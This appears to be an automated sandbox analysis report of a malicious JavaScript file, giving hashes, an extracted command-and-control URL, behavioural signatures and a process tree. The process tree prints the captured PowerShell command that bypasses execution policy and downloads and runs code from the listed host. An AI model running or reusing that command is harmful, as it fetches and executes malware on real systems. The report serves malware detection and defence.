Analysis
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max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
07-02-2024 09:32
Static task
static1
Behavioral task
behavioral1
Sample
ARS17291729317291729.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ARS17291729317291729.js
Resource
win10v2004-20231222-en
General
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Target
ARS17291729317291729.js
-
Size
22KB
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MD5
f11df5cf2e7e9c6b39612f3f60d9e9f2
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SHA1
d919fe3bd69418f9e96569f9e73b4a1fa1cde9e9
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SHA256
2770b332ef571a1462e5a38778307106e16ba66dca58717fe40f6f76259b717b
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SHA512
1629a66eb3f8f48fa15d016995eb26f7b6342420eac8f34fdf42d514db1be5813df7a40f553b63da16b8eb6bde66d35297d23c63cffa252951988a28242e65bf
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SSDEEP
384:swbhSjLO+uDvTeLoxguxAR02OY4PLRyxag8YvA9DWWRUwuoLljIzPNWHvrHejQlJ:pwLOxvTeLoxguxARGPLRyxag8YvA9DWu
Malware Config
Extracted
https://assime.ca/command.php
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2852 powershell.exe 6 2852 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2852 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2852 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 3032 wrote to memory of 2852 3032 wscript.exe powershell.exe PID 3032 wrote to memory of 2852 3032 wscript.exe powershell.exe PID 3032 wrote to memory of 2852 3032 wscript.exe powershell.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ARS17291729317291729.js1⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2852